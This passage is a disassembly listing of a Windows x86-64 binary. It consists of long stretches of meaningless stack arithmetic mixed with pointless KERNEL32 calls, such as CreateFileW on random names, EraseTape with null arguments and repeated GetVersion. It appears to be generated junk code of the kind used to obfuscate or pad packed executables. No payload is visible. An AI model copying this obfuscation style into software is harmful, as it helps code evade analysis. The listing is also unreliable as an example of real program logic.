movzx eax, word [rsp + 0x2c2c]
mov rcx, qword [rsp + 0x15908]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x16a4], ax
lea rax, [rsp + 0x70f]
mov qword [rsp + 0x15af0], rax
xor r9d, r9d
lea r8, [rsp + 0x13c00]
mov rdx, qword [rsp + 0x14430]
mov rcx, qword [rsp + 0x14c38]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xa958], eax
mov rax, qword [rsp + 0x14910]
mov rcx, qword [rsp + 0x15070]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa8a0], eax
lea rax, [rsp + 0x9764]
mov qword [0x140363f98], rax
mov rax, qword [rsp + 0x13610]
mov ecx, dword [rsp + 0xaa48]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x15858]
mov dword [rcx], eax
lea rax, [rsp + 0x9f1c]
mov qword [rsp + 0x15af8], rax
mov rax, qword [rsp + 0x140b0]
mov eax, dword [rax]
mov ecx, dword [0x140363a1c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xadb0], eax
movzx eax, byte [rsp + 0x120]
mov rcx, qword [rsp + 0x14d78]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x95], al
movzx eax, word [rsp + 0x16dc]
movzx ecx, word [rsp + 0x2cf8]
or eax, ecx
mov rcx, qword [rsp + 0x14e00]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa8e0], eax
mov eax, dword [rsp + 0xa978]
mov ecx, dword [rsp + 0x9218]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14c00]
mov dword [rcx], eax
lea rax, [rsp + 0xabac]
mov qword [rsp + 0x15b00], rax
mov rax, qword [rsp + 0x15058]
mov rcx, qword [rsp + 0x139f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x150c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13d70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x80d0]
add ecx, eax
mov eax, ecx
mov dword [0x140363960], eax
lea rax, [rsp + 0x1c44]
mov qword [rsp + 0x15b08], rax
movzx eax, byte [0x1403535a6]
movzx ecx, byte [rsp + 0x6d3]
sub eax, ecx
mov rcx, qword [rsp + 0x15588]
mov byte [rcx], al
movsx eax, word [rsp + 0x2a1c]
mov rcx, qword [rsp + 0x13e60]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x140a0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x6c8]
mov byte [rsp + 0x734], al
mov rax, qword [rsp + 0x14ff8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x140363a20]
shr eax, cl
mov rcx, qword [rsp + 0x15ad8]
mov dword [rcx], eax
lea rax, [rsp + 0x9a80]
mov qword [rsp + 0x15b10], rax
movzx eax, word [rsp + 0x2af0]
movzx ecx, word [rsp + 0x2c74]
shl eax, cl
mov rcx, qword [rsp + 0x14ee8]
mov word [rcx], ax
movzx eax, byte [0x1403535a7]
movzx ecx, byte [rsp + 0x6c5]
xor eax, ecx
mov rcx, qword [rsp + 0x151e0]
mov byte [rcx], al
mov eax, dword [rsp + 0xaee4]
mov ecx, dword [rsp + 0xae94]
or ecx, eax
mov eax, ecx
mov dword [0x140363ea4], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.ZM6LLgG6WOkLWgjORHQ
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x15b18], rax
lea rax, [rsp + 0x7200]
mov qword [rsp + 0x15b20], rax
mov rax, qword [rsp + 0x14e60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8840]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14d80]
mov dword [rcx], eax
lea rax, [rsp + 0xa8a0]
mov qword [rsp + 0x15b28], rax
movzx eax, byte [rsp + 0x53b]
mov rcx, qword [rsp + 0x155f8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x157b0]
mov byte [rcx], al
lea rax, [rsp + 0x11b0]
mov qword [rsp + 0x15b30], rax
mov rax, qword [rsp + 0x14eb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9ff0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa854], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa9cc], eax
mov rax, qword [rsp + 0x13e40]
mov ecx, dword [rsp + 0xab3c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x140c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13450]
mov eax, dword [rax]
mov dword [rsp + 0xafe0], eax
lea rax, [rsp + 0xa984]
mov qword [0x140363fa0], rax
mov rax, qword [rsp + 0x13b18]
mov rcx, qword [rsp + 0x136e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9c30], eax
lea rax, [rsp + 0x68a]
mov qword [rsp + 0x15b38], rax
mov rax, qword [rsp + 0x15298]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x197c]
or eax, ecx
mov rcx, qword [rsp + 0x13998]
mov word [rcx], ax
mov rax, qword [rsp + 0x135f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x25c8]
add eax, ecx
mov rcx, qword [rsp + 0x14b48]
mov word [rcx], ax
lea rax, [rsp + 0xb4]
mov qword [rsp + 0x15b40], rax
mov rax, qword [rsp + 0x14bc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa0d0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x148c0]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xae84], eax
mov eax, dword [0x14035cc88]
mov ecx, dword [rsp + 0x9674]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x950c], eax
movzx ecx, word [rsp + 0x2d30]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2d3c], ax
movzx eax, byte [rsp + 0x416]
movzx ecx, byte [rsp + 0x4c7]
sub eax, ecx
mov byte [rsp + 0x2a6], al
mov rax, qword [rsp + 0x156a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15ab0]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x140363b88]
mov word [rcx], ax
mov rax, qword [rsp + 0x15918]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x14035cc1c]
shl eax, cl
mov rcx, qword [rsp + 0x14860]
mov dword [rcx], eax
lea rax, [rsp + 0xa3a8]
mov qword [rsp + 0x15b48], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov eax, dword [rsp + 0xaf44]
mov ecx, dword [rsp + 0xad74]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x7ff0], eax
mov rax, qword [0x140363f18]
mov eax, dword [rax]
mov dword [rsp + 0xafe4], eax
mov rax, qword [rsp + 0x13400]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15a58]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x14c28]
mov word [rcx], ax
mov rax, qword [rsp + 0x13720]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3b7]
and eax, ecx
mov rcx, qword [rsp + 0x152b0]
mov byte [rcx], al
lea rax, [rsp + 0x8d8c]
mov qword [rsp + 0x15b50], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa870], eax
mov eax, dword [rsp + 0xaaf8]
mov ecx, dword [rsp + 0x950c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xafb4], eax
lea rax, [rsp + 0x2c70]
mov qword [0x140363fa8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
lea rax, [rsp + 0x729]
mov qword [rsp + 0x15b58], rax
movzx eax, word [rsp + 0x14dc]
movzx ecx, word [rsp + 0x2bd8]
add eax, ecx
mov word [rsp + 0x2d0c], ax
mov rax, qword [rsp + 0x14f20]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14018]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xf6], al
lea rdx, [rsp + 0x45ce8]
mov rcx, qword [rsp + 0x12ef0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xafe8], eax
mov rax, qword [rsp + 0x15038]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xab0c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xae94], eax
mov rax, qword [rsp + 0x14cd8]
mov ecx, dword [rsp + 0x8780]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13be0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x133a0]
mov eax, dword [rax]
mov dword [rsp + 0xafec], eax
mov rax, qword [0x140363c70]
mov rcx, qword [rsp + 0x15618]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa98c], eax
mov rax, qword [rsp + 0x15898]
mov eax, dword [rax]
mov dword [rsp + 0xaff0], eax
movzx eax, word [rsp + 0x2ad0]
mov rcx, qword [rsp + 0x15800]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x11c4], ax
lea rax, [rsp + 0x65d]
mov qword [0x140363fb0], rax
mov rax, qword [rsp + 0x14548]
mov ecx, dword [rsp + 0xae5c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7b5c], eax
lea rax, [rsp + 0x763c]
mov qword [rsp + 0x15b60], rax
mov eax, dword [rsp + 0x73a8]
mov ecx, dword [rsp + 0x8e08]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xabe0], eax
mov rax, qword [rsp + 0x154c0]
mov ecx, dword [rsp + 0xafa0]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x7afc], eax
mov rax, qword [rsp + 0x14e00]
movzx eax, word [rax]
mov rcx, qword [0x140363b30]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x206c], ax
movzx eax, byte [rsp + 0x730]
movzx ecx, byte [rsp + 0x6d4]
shl eax, cl
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
mov rax, qword [rsp + 0x14af0]
movzx eax, byte [rax]
mov byte [rsp + 0x735], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xacfc], eax
mov rax, qword [rsp + 0x13e60]
movsx eax, word [rax]
mov rcx, qword [0x140363a28]
movsx ecx, word [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x14768]
mov word [rcx], ax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x3fd0
mov r9d, 0x67e
mov r8d, 0x118e96f9
mov edx, 1
mov rcx, qword [rsp + 0x12ee8]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xaf50], eax
mov rax, qword [rsp + 0x14910]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9c18]
or ecx, eax
mov eax, ecx
mov dword [0x140363b0c], eax
lea rax, [rsp + 0xab3c]
mov qword [rsp + 0x15b68], rax
movzx eax, word [rsp + 0x23cc]
movzx ecx, word [0x14035cc38]
and eax, ecx
mov rcx, qword [rsp + 0x14e68]
mov word [rcx], ax
mov rax, qword [rsp + 0x148e0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14a20]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xb5], al
lea rcx, str.Q7ZeRDaB_f
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2d40], ax
mov eax, dword [rsp + 0xaaf8]
mov ecx, dword [rsp + 0x6514]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x71c4], eax
mov rax, qword [rsp + 0x13e30]
mov rcx, qword [rsp + 0x13908]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13ff0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6898]
mov dword [rsp + 0xaff4], eax
mov rax, qword [0x140363c00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xabc0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa950], eax
lea rax, [rsp + 0x70c]
mov qword [rsp + 0x15b70], rax
lea rdx, [rsp + 0x15728]
mov rcx, qword [rsp + 0x13f10]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xae54], eax
mov rcx, qword [rsp + 0x12f28]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x138c0]
movzx eax, word [rax]
mov word [0x140363064], ax
mov eax, dword [rsp + 0xae18]
mov ecx, dword [rsp + 0xab28]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14910]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13df8]
mov eax, dword [rax]
mov ecx, dword [0x140363be4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13188]
mov dword [rcx], eax
lea rax, [rsp + 0x6874]
mov qword [rsp + 0x15b78], rax
mov rax, qword [rsp + 0x14e30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa984]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15aa8]
mov dword [rcx], eax
lea rax, [0x140363d84]
mov qword [rsp + 0x15b80], rax
movsx eax, word [rsp + 0xfe4]
movsx ecx, word [rsp + 0x2be4]
add eax, ecx
mov word [rsp + 0x2b54], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xaff8], eax
movsx eax, byte [rsp + 0x6ba]
movsx ecx, byte [rsp + 0x721]
shl eax, cl
mov rcx, qword [rsp + 0x136a0]
mov byte [rcx], al
lea rax, [rsp + 0x24b]
mov qword [rsp + 0x15b88], rax
mov rax, qword [rsp + 0x15b30]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14b90]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x14035cc80], ax
mov rax, qword [0x140363dc8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13320]
mov qword [rsp + 0x15b90], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15b90]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x14b88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x156c8]
mov eax, dword [rax]
mov dword [rsp + 0xaffc], eax
mov rax, qword [rsp + 0x13368]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b9]
and eax, ecx
mov byte [rsp + 0x6c9], al
mov rax, qword [rsp + 0x154f8]
movzx eax, word [rax]
movzx ecx, word [0x140362f74]
sub eax, ecx
mov word [rsp + 0x184c], ax
lea rax, [rsp + 0xac78]
mov qword [rsp + 0x15b98], rax
mov rax, qword [rsp + 0x15980]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8764]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14150]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13c88]
mov rcx, qword [rsp + 0x148d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x806c], eax
mov rax, qword [rsp + 0x13b10]
mov rcx, qword [rsp + 0x14db0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14a88]
mov dword [rcx], eax
lea rax, [rsp + 0x20a8]
mov qword [0x140363fb8], rax
lea rax, [rsp + 0x4f6]
mov qword [rsp + 0x15ba0], rax
mov rax, qword [rsp + 0x13900]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaeec]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xab78], eax
mov rax, qword [rsp + 0x13610]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaba8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa644], eax
mov rax, qword [rsp + 0x14990]
movzx eax, byte [rax]
mov byte [rsp + 0x736], al
movsx eax, word [rsp + 0x2474]
mov rcx, qword [rsp + 0x141b0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x15360]
mov word [rcx], ax
lea rax, [rsp + 0x2c3c]
mov qword [rsp + 0x15ba8], rax
mov rax, qword [rsp + 0x159d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x710]
sub eax, ecx
mov byte [rsp + 0x5bb], al
mov rax, qword [rsp + 0x142f0]
mov ecx, dword [rsp + 0x86b4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13f60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15570]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xad58]
or ecx, eax
mov eax, ecx
mov rcx, qword [0x140363f60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14ad0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x71c4]
shl eax, cl
mov dword [rsp + 0x6d14], eax
mov rax, qword [rsp + 0x150a8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9e54]
shr eax, cl
mov rcx, qword [rsp + 0x13a78]
mov dword [rcx], eax
mov r9d, 0xd8b
xor r8d, r8d
lea rdx, [rsp + 0x15578]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xabf4], eax
lea rax, [rsp + 0xa9d8]
mov qword [rsp + 0x15bb0], rax
mov rax, qword [0x140363d38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15a18]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x14780]
mov byte [rcx], al
movzx eax, word [rsp + 0x2a80]
movzx ecx, word [rsp + 0x25a4]
and eax, ecx
mov rcx, qword [rsp + 0x13ae8]
mov word [rcx], ax
lea rax, [0x140363d80]
mov qword [rsp + 0x15bb8], rax
mov rax, qword [rsp + 0x15b00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8e4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x156c8]
mov dword [rcx], eax
lea rdx, [rsp + 0x45c78]
mov rcx, qword [rsp + 0x14690]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xb000], eax
lea rax, [rsp + 0xa3f4]
mov qword [rsp + 0x15bc0], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xac88], eax
lea rax, [rsp + 0x7c34]
mov qword [0x140363fc0], rax
mov rax, qword [0x140363c98]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13e10]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13548]
mov byte [rcx], al
lea rax, [rsp + 0x2b24]
mov qword [rsp + 0x15bc8], rax
mov rax, qword [rsp + 0x146d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x92]
or eax, ecx
mov byte [rsp + 0x716], al
mov rax, qword [0x140363d30]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x135b8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x21a0], ax
lea rax, [rsp + 0xae58]
mov qword [rsp + 0x15bd0], rax
mov rax, qword [rsp + 0x14538]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xabb8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xadd8], eax
lea rax, [0x1403535a6]
mov qword [rsp + 0x15bd8], rax
mov rax, qword [rsp + 0x14718]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x132b0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x15440]
mov word [rcx], ax
mov rax, qword [rsp + 0x153a8]
mov ecx, dword [rsp + 0xafd8]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x140363a18], eax
mov rax, qword [rsp + 0x13b10]
mov ecx, dword [rsp + 0xaab4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13e00]
mov dword [rcx], eax
lea rdx, [rsp + 0x45fc0]
mov rcx, qword [rsp + 0x14d00]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa9ac], eax
mov eax, dword [rsp + 0xad9c]
mov dword [rsp + 0xb004], eax
mov rax, qword [0x140363d98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a24]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13c48]
mov dword [rcx], eax
lea rax, [rsp + 0x6b1]
mov qword [rsp + 0x15be0], rax
lea rcx, [rsp + 0x41e38]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, word [rsp + 0x184c]
movzx ecx, word [rsp + 0x2bf4]
add eax, ecx
mov rcx, qword [rsp + 0x156a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x13aa8]
mov ecx, dword [rsp + 0x9500]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14138]
mov dword [rcx], eax
lea rax, [rsp + 0x6cd0]
mov qword [rsp + 0x15be8], rax
mov eax, dword [rsp + 0x9e80]
movzx ecx, al
mov eax, dword [rsp + 0xab0c]
shl eax, cl
mov rcx, qword [rsp + 0x13ff0]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xad38], eax
mov eax, dword [0x140363ea0]
mov rcx, qword [rsp + 0x14dc8]
mov qword [rsp + 0x15bf0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15bf0]
mov eax, dword [rax]
sar eax, cl
mov dword [0x14035cc8c], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xae74], eax
mov eax, dword [rsp + 0xae50]
mov ecx, dword [rsp + 0x7848]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9ca0], eax
movsx eax, word [rsp + 0x2bd0]
mov rcx, qword [0x140363a28]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x13b58]
mov word [rcx], ax
mov rax, qword [rsp + 0x15538]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x735]
and eax, ecx
mov byte [rsp + 0x628], al
lea rax, [rsp + 0x369]
mov qword [rsp + 0x15bf8], rax
movzx eax, word [rsp + 0x292c]
movzx ecx, word [0x14036301c]
and eax, ecx
mov rcx, qword [rsp + 0x15278]
mov word [rcx], ax
lea rax, [rsp + 0x898c]
mov qword [rsp + 0x15c00], rax
lea rdx, [rsp + 0x138f8]
mov rcx, qword [rsp + 0x15060]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xb008], eax
mov eax, dword [rsp + 0xaae4]
mov ecx, dword [rsp + 0xaa4c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa184], eax
movzx eax, word [rsp + 0x2c38]
mov word [rsp + 0x2d44], ax
movzx eax, byte [0x14035e48e]
movzx ecx, byte [rsp + 0x118]
or eax, ecx
mov byte [0x14035e505], al
movzx ecx, word [rsp + 0x2ad4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2b8c], ax
mov rax, qword [rsp + 0x14a98]
mov rcx, qword [rsp + 0x14720]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8780], eax
mov rax, qword [0x140363ac8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7c00]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7ea4], eax
mov rax, qword [rsp + 0x14cb8]
mov eax, dword [rax]
mov dword [rsp + 0xb00c], eax
mov rax, qword [rsp + 0x14600]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8cc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14928]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
movzx eax, word [rsp + 0x2ce4]
mov rcx, qword [0x140363e30]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1038], ax
mov rax, qword [rsp + 0x13410]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14d78]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4dc], al
mov rax, qword [0x1403639f8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa928]
shl eax, cl
mov dword [rsp + 0xaf7c], eax
lea rax, [rsp + 0xaaa0]
mov qword [rsp + 0x15c08], rax
lea rcx, str.z1qlduQSb1D_NVgv0
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2d48], ax
mov rax, qword [rsp + 0x14340]
movzx eax, byte [rax]
mov byte [0x14035e547], al
mov rax, qword [rsp + 0x15990]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xfe4]
sar eax, cl
mov word [rsp + 0x2b04], ax
lea rax, [0x140362afc]
mov qword [rsp + 0x15c10], rax
mov rax, qword [rsp + 0x15588]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13cb8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x727], al
mov rax, qword [rsp + 0x157d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xae24]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xae94], eax
lea rdx, [rsp + 0x45c40]
mov rcx, qword [rsp + 0x15768]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xaf60], eax
mov rax, qword [0x140363e40]
mov eax, dword [rax]
mov dword [rsp + 0xb010], eax
mov rax, qword [rsp + 0x159e8]
mov ecx, dword [rsp + 0x6bc0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xac14], eax
lea rcx, [rsp + 0x41ef8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, [rsp + 0x6af8]
mov qword [rsp + 0x15c18], rax
mov eax, dword [0x14035cc6c]
mov ecx, dword [rsp + 0xaa84]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14d10]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x48d]
mov rcx, qword [rsp + 0x14188]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6e0], al
mov rax, qword [rsp + 0x14ce0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x29a4]
and eax, ecx
mov rcx, qword [0x140363cf0]
mov word [rcx], ax
lea rax, [rsp + 0x7bf0]
mov qword [rsp + 0x15c20], rax
mov eax, dword [rsp + 0xa91c]
mov ecx, dword [rsp + 0x7c00]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xade0], eax
lea rax, [rsp + 0xabcc]
mov qword [rsp + 0x15c28], rax
mov rax, qword [rsp + 0x142a0]
mov eax, dword [rax]
mov ecx, dword [0x140363f10]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xab20], eax
lea rax, [rsp + 0x2b40]
mov qword [rsp + 0x15c30], rax
mov rax, qword [rsp + 0x156e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6d7]
sub eax, ecx
mov rcx, qword [rsp + 0x14a90]
mov byte [rcx], al
movsx eax, byte [0x14035e4d6]
movsx ecx, byte [rsp + 0x28f]
sub eax, ecx
mov rcx, qword [rsp + 0x15810]
mov byte [rcx], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.keptCiPGpqQPnCPMVXa
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x15c38], rax
movsx eax, word [rsp + 0x2a74]
mov rcx, qword [rsp + 0x14ca8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1738], ax
mov rax, qword [rsp + 0x13d18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x62c0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x140363cc0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xad4c]
mov rcx, qword [rsp + 0x14eb8]
mov qword [rsp + 0x15c40], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15c40]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x13328]
mov dword [rcx], eax
lea rdx, [rsp + 0x45d20]
mov rcx, qword [rsp + 0x15768]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xacf0], eax
mov rax, qword [rsp + 0x153b8]
movzx eax, byte [rax]
mov byte [rsp + 0x737], al
mov rax, qword [rsp + 0x13a20]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14778]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2aa8], ax
mov rax, qword [rsp + 0x14ac0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x8828]
shl eax, cl
mov rcx, qword [rsp + 0x13f70]
mov dword [rcx], eax
mov eax, dword [rsp + 0xae5c]
mov dword [rsp + 0xb014], eax
mov rax, qword [0x1403639a8]
mov rcx, qword [rsp + 0x132d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x15738]
mov dword [rcx], eax
mov rax, qword [rsp + 0x139f0]
mov rcx, qword [rsp + 0x13e58]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9820], eax
